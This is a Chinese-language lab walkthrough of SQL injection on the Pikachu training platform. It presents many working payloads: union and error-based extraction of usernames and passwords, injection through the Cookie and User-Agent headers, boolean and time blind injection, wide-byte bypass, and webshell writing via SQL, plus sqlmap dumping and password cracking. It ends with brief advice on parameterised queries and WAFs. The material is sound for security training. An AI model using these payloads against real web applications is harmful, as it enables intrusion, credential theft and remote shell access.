小伙伴们有没有发现截图很不清楚,用127.0.0.1打开就很清楚,用本机ip打开就很模糊,软件包环境应该是没错,后来换了一个浏览器发现就好了,原来是浏览器的问题!
一,数字型注入:
看到界面后我们发现只能输入id(1-6),我们来试试:
因为是用POST语句取得我们传递的参数值,传递给一个变量,再到数据库查询。所以我们猜测后台的查询语句大概是下面这样
$id=$_POST[‘id‘]
select字段1,字段2from表名whereid=1$id这里的id就是提供的1-6
我们抓包来看一下:
这时只返回了一个值,现在我就是入侵者,我截获了这个数据包,但是我想要的是其它库中的数据,怎么办啊!
我们只要让这个式子恒等,无论输入的是啥都可以返回正确的结果:我们将id的式样改为1or1=1我们再试试。
此时的这种情况就是明显的存在数字注入漏洞。
二、字符型注入(GET)
我们看到界面随意输入一些东西:输入不存在的用户时,会提示用户不存在。另外这是一个GET请求,我们传递的参数会出现都URL中
因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。猜想后台的SQL查询语句为
$name=$_GET[‘username‘]select字段1,字段2from表名whereusername=‘$name‘我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload如下
username‘or‘1‘=‘1‘#MySQL中有3种注释:
①#
②--(最后面有个空格)
③/**/,内联注释,这个可以在SQL语句中间使用。select*from/*sqli*/users;
我们看到全部用户信息都出来了,破坏者又得逞了!
三、搜索型注入:
还是先随便输入试一下效果:
我们看到当我们搜索的字母存在于用户名中,则会返回对应的用户。我们构造恒等!
选择语句:L%'or'1'='1'#
四、XX型注入:
经过测试我们发现还是字符型注入,只不过是包裹的形式不一样罢了!单括号单引号闭合不多说
g')or1=1#
五、在这里我们再次回顾普及一下知识:
在这3种情况中,我们不能使用union去做联合查询,因为这不是查询,而是操作。
常用的报错函数:updatexml()、extractvalue()、floor()
基于函数报错的信息获取(select/insert/update/delete)
技巧思路:
背景条件:
三个常用函数
updatexml()
updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值
语法:UPDATEXML(XML_document,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
XPath定位必须是有效的,否则会发生错误
我们在pikachu平台上的字符型注入中实验,我们利用报错来获取信息。
union联合注入:一个字,就是猜,然后去试验,我们相到了二分法。
第一步:判断字段数:1')orderby4#(xxs模块为例)
1')orderby2#
可以知道字段数是2
第二步:使用联合查询语句得到数据库:pikachu
1')unionselectdatabase(),2#
第三步:查询数据库中的表
1')unionselecttable_schema,table_namefrominformation_schema.tableswheretable_schema='pikachu'#
第四步:查询users表中的字段名:
1')unionselecttable_name,column_namefrominformation_schema.columnswheretable_name='users'#
第五步:联合查处得到用户名和密码
1')unionselectusername,passwordfromusers#
updatexml()报错型注入:(字符型注入模块为例)
看得到了我们MySQL的数据版本了。那我们把version()换成database()就能取得数据库的名称了。
查询表名:1'andupdatexml(1,concat(0x7e,(selecttable_namefrominformation_schema.tableswheretable_schema='pikachu')),0)#
但是此时会报错,返回的数据多于1行,只能显示一行。
解决办法:我们可以修改(limit0,1)的值,第0位置第一个数据
上面返回了查询结果中的第一个表名,如果要查询第二个表名,我们可以把limit语句换成limit1,1
limit后的第一个数据是起始位置,第二个数字是取出的数据条数
取出所有的表名,就去获取字段
以此类推,取出所有的列名。我们就能去取数据了
1'andupdatexml(1,concat(0x7e,(selectpasswordfromuserswhereusername='admin'limit0,1)),0)#
extractvalue()与updatexml()是亲兄弟,用法一致。
六、insert/update注入
update报错注入也是:
还是报错型语句:
id=1orupdatexml(1,concat(0x7e,database()),0)
因为是在url中,所以需要进行url的编码:
我们看成功了!
八、HttpHeader注入:
注意:我们看到user-agent或者cookie都可以进行注入:
将admin'andupdatexml(1,concat(0x7e,database()),0)#粘贴到cookie:ant[uname]=后面,发现注入成功
将1'orupdatexml(1,concat(0x7e,database()),0)or'粘到User-Agent出,如图,点击go,发现也可以。
九、sql盲注(baseonboolian)
盲注,我们进行注入时,一般只会返回显示错误还是正确的信息,所以工作量很大,需要耐心试。
当然我们这时候就可以运用二分法来缩减工程量:1'andascii(substr(database(),1,1))=112#回显为真,猜出database的第一个单词是p
1'andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))>112#回显错误。。。
十:sql盲注(baseontime)
1'andif((substr(database(),1,1))='p',sleep(5),null)#用if做判断,通过database把数据库名称取出来,通过substr把数据库第一个字符取出来,和p作比较,如果等于p则暂停5秒钟再返回
十一、宽字节注入
当我们输入有单引号时被转义为\’,无法构造SQL语句的时候,可以尝试宽字节注入。GBK编码中,反斜杠的编码是“%5c”,而“%df%5c”是繁体字“連”。在皮卡丘平台中,将利用BurpSuite截获数据包,发送到Repeater中,在里面写入payload当我们用通常的测试payload时,是无法执行成功的,下面的payload会报错:
十二,其它办法进行SQl注入:
除了上面的方法之外,还有其他的办法,比如暴力破解一句话木马sqlmap工具等。
@1、暴力破解SQL数据库举例:
之前我们都是通过information_schema数据库来获取信息,很多时候information_schema会被屏蔽掉,也可能遇到的不是MYSQL数据库。
暴力破解表名和列名称:
1'andexists(select*fromgg)#
我们去抓包,发送到Intruder模块里面去,选中破解变量gg,攻击模式Sniper,
Payloads模块,设置破解字典
Options模块
Startattack(攻击)
1'andexists(selectidfromusers)#做法是一样的,破解变量是id。
@2,一句话木马之sql。
以字符型(get)做为测试目标,需要先将数据库开启secure_file_priv配置
写入木马,通过菜刀,拿到shell:
1'unionselect"
1'unionselect"
通过get型,可以在url中写入语句
1'unionselect"
可以在url中执行cmd命令
sqlmap工具使用入门及案例介绍:参考链接:
sqlmap:sqlmap是由Python编写的渗透测试工具,主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具。
操作步骤:
开始我们的实验,发现它是一个get请求,
第一步:找到对应的输入点,在输入框中输入字符得到url:
第二步:判断是否存在漏洞:
发现name是存在SQL注入的:
第四步:得到表名:
第五步:得到字段名:
第六步:拿到数据
实际上这个使用它已经找到里面的数据啦,但发现里面是加过密的,
第七步:用自带的字典对数据破解:
得到用户名和密码,sqlmap非常方便而且强大。
SQL漏洞常见的防范措施:
一般来说我们有两个维度,一个是代码层面,一个是网络层面
●代码层面
1、对输入进行严格的转义和过滤
2、使用预处理和参数化(Parameterized)
而1的比不是很好,因为SQL一更新出来新的特殊字符,会失效,
推荐的做法是2:使用PDO的prepare预处理,它是以索引数组得方式传进去,而不是拼接,就成功防止啦注入
●网络层面
1、通过WAF设备启用防SQL-Inject注入策略(或类似防护系统)